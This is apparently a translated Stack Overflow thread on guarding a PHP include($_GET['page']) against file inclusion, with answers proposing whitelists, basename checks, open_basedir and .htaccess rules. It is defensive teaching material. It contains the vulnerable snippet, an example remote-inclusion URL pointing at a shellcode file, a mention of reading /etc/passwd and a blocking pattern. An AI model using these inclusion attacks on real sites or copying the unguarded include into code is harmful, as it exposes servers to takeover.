24

私のウェブサイトは最近、無害なコードのように見えました:

<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?>

そこには SQL 呼び出しがないので、SQL インジェクションを恐れませんでした。しかし、明らかに、インジェクションの種類は SQL だけではありません。

この Web サイトには、コード インジェクションを回避するための説明といくつかの例があります。

このコードをコード インジェクションからどのように保護しますか?

4

10 に答える 10

40

ホワイトリストを使用して、ページがホワイトリストに含まれていることを確認します。

  $whitelist = array('home', 'page');

  if (in_array($_GET['page'], $whitelist)) {
        include($_GET['page'].'.php');
  } else {
        include('home.php');
  }
于 2008-09-02T05:30:06.120 に答える
15

入力をサニタイズするもう 1 つの方法は、許可された文字 (「/」、「.」、「:」など) のみが含まれるようにすることです。ただし、悪い文字にはブラックリストを使用しないでください。許可された文字にはホワイトリストを使用してください。

$page = preg_replace('[^a-zA-Z0-9]', '', $page);

... file_exists が続きます。

そうすれば、実行したいスクリプトのみが実行されるようにすることができます (たとえば、「.」は許可されていないため、「blabla.inc.php」は除外されます)。

注: これは一種の「ハック」です。ユーザーが「ホーム」を実行すると、「ホーム」ページが表示されるためです。禁止されている文字をすべて削除するだけです。あなたのページをかわいくしたい「賢者」を止めることを意図したものではありませんが、本当に悪いことをする人を止めるでしょう.

ところで: .htaccessファイルでできるもう 1 つのことは、明らかな攻撃の試みを防ぐことです。

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]

そうすれば、"http:" url (およびクエリ文字列) を使用したすべてのページ アクセスで "Forbidden" エラー メッセージが表示され、php スクリプトに到達することさえありません。その結果、サーバーの負荷が軽減されます。

ただし、クエリ文字列には「http」を使用できないことに注意してください。あなたのウェブサイトは、場合によってはそれを必要とするかもしれません(フォームに記入するときなど)。

ところで: あなたがドイツ語を読めるなら: 私はそのトピックに関するブログ記事も持っています.

于 2008-09-02T08:40:08.597 に答える
5

Pek、SQLインジェクションへの追加、またはさまざまなタイプのコードインジェクションについて心配することがたくさんあります。ここで、Webアプリケーションのセキュリティ全般についてもう少し詳しく調べる良い機会かもしれません。

デスクトップからWeb開発への移行に関する以前の質問から、私は次のように書いています。

安全なWebアプリケーションとWebサービスを構築するためのOWASPガイドは、セキュリティを真剣に受け止めたいWeb開発者(すべてのWeb開発者である必要があります)にとって必読です。セキュリティについて考えるときに必要な考え方に役立つ、従うべき多くの原則があります。

大きな太った文書を読むのが苦手な場合は、マイク・アンドリュースが数年前にGoogleで行ったWebソフトウェアの破壊方法に関するセミナーのビデオをご覧ください。

于 2008-09-02T10:01:58.133 に答える
5

ユーザー入力を受け入れるときの一番のルールは、常にサニタイズすることです。ここでは、インクルードに渡す前に、ページの GET 変数をサニタイズしていません。ファイルを含める前に、基本的なチェックを実行して、サーバーにファイルが存在するかどうかを確認する必要があります。

于 2008-09-02T05:29:52.390 に答える
4

同じディレクトリ内のファイルを扱うと仮定しています:

<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
  $page = urldecode($_GET['page']);
  $page = basename($page);
  $file = dirname(__FILE__) . "/{$page}.php";
  if (!file_exists($file)) {
    $file = dirname(__FILE__) . '/home.php';
  }
} else {
  $file = dirname(__FILE__) . '/home.php';
}
include $file;
?>

これはあまりきれいではありませんが、問題を解決する必要があります。

于 2008-09-02T05:29:48.023 に答える
3

ペック、短期的な修正のために、他のユーザーによって提案された解決策の1つを適用してください. 中長期計画では、既存の Web フレームワークのいずれかに移行することを検討する必要があります。ルーティングやファイル インクルードなどのすべての低レベルの処理を信頼性の高い安全な方法で処理するため、コア機能に集中できます。

車輪を再発明しないでください。フレームワークを使用します。それらのどれでも、ないよりはましです。それを学習するための最初の時間投資は、ほぼ即座に元に戻ります。

于 2008-09-02T09:51:27.643 に答える
1

これまでのところいくつかの良い答えがありますが、PHPの詳細をいくつか指摘する価値もあります。

ファイルオープン関数は、ラッパーを使用してさまざまなプロトコルをサポートします。これには、ローカルWindowsネットワーク、HTTP、FTPなどを介してファイルを開く機能が含まれます。したがって、デフォルトの構成では、元の質問のコードを使用して、インターネット内外の任意のファイルを簡単に開くことができます。もちろん、サーバーのローカルディスク(webbserverユーザーが読み取ることができる)上のすべてのファイルを含みます。/etc/passwdいつも楽しいものです。

セーフモードopen_basedirであり、特定のディレクトリ外のファイルへのアクセスを制限するために使用できます。

allow_url_fopenまた、ファイルオープン機能を使用するときにファイルへのURLアクセスを無効にできる構成設定も役立ちます。ini-set実行時にこの値を設定および設定解除するために使用できます。

これらはすべて優れたフォールバックセーフティガードですが、ファイルを含めるにはホワイトリストを使用してください。

于 2008-09-02T10:13:11.460 に答える
1

これは非常に古い投稿であることは承知しており、もう回答は必要ないと思いますが、私はまだ非常に重要な側面を見逃しており、この投稿を読んでいる他の人に共有したいと思っています. 変数の値に基づいてファイルをインクルードするコードでは、フィールドの値と要求された結果の間に直接リンクを作成します (ページは page.php になります)。それは避けたほうがいいと思います。一部のページのリクエストとそのページの配信には違いがあります。この区別を行うと、ユーザーと SEO に非常に優しいナイス URL を利用できます。「page」のようなフィールド値の代わりに、「Spinoza-Ethica」のような URL を作成できます。これはホワイトリストのキーまたはデータベースのテーブルの主キーであり、ハードコードされたファイル名または値を返します。この方法には、通常のホワイトリスト以外にもいくつかの利点があります。

  1. バックエンドの応答は、フロントエンドの要求から事実上独立しています。バックエンド システムを別の方法でセットアップする場合は、フロントエンドで何も変更する必要はありません。

  2. ハードコーディングされたファイル名またはデータベースからの同等のファイル名 (できればストアド プロシージャからの戻り値) で終わることを常に確認してください。

  3. URL はバックエンドからの配信とは無関係であるため、この種の変更のために htAccess ファイルで URL を書き直す必要はありません。

  4. ユーザーに表示される URL はユーザー フレンドリで、ドキュメントの内容をユーザーに知らせます。

  5. 適切な URL は SEO に非常に適しています。検索エンジンは関連するコンテンツを探しており、URL がコンテンツと一致している場合はレートが高くなるためです。少なくとも、あなたのコンテンツがあなたのコンテンツと一致していない場合よりも良いレートです.

  6. php ファイルに直接リンクしない場合は、nice URL を処理する前に他のタイプのリクエストに変換できます。これにより、プログラマーの柔軟性が大幅に向上します。

  7. 標準の信頼できないソース (Web の残りの部分) から情報を取得するため、要求をサニタイズする必要があります。可能な入力として適切な URL のみを使用すると、返された URL が独自の形式に準拠しているかどうかを確認できるため、URL のサニタイズ プロセスがはるかに簡単になります。ナイス URL の形式に、エクスプロイトで広く使用されている文字 (「、」、<、>、-、& など) が含まれていないことを確認してください。

于 2012-10-10T08:55:51.070 に答える
0

URLは次の形式であると考えてください。

www.yourwebsite.com/index.php?page= http://malicodes.com/shellcode.txt

shellcode.txtがSQLまたはPHPインジェクションを実行している場合、Webサイトは危険にさらされますよね?これを考えてみてください。ホワイトリストを使用すると役に立ちます。

ハッキングを回避するためにすべての変数をフィルタリングする方法があります。PHPIDSまたはOSESecuritySuiteを使用して、ハッキングを回避できます。セキュリティスイートをインストールした後、スイートをアクティブ化する必要があります。ガイドは次のとおりです。

http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

レイヤー2保護をオンにすることをお勧めします。そうすると、すべてのPOST変数とGET変数、特に私が言及した変数がフィルタリングされ、攻撃が見つかった場合はすぐに報告されます/

安全は常に優先事項です

于 2013-02-05T05:11:00.217 に答える
0

@pek - 配列キーは「ホーム」と「ページ」ではなく、0 と 1 であるため、機能しません。

このコードはうまくいくはずです、私は信じています:

<?php

$whitelist = array(
  'home',
  'page',
);

if(in_array($_GET['page'], $whitelist)) {
  include($_GET['page'] . '.php');
} else {
  include('home.php');
}

?>

ホワイトリストがあるので、どちらも必要ありませんfile_exists()

于 2008-09-02T20:06:36.230 に答える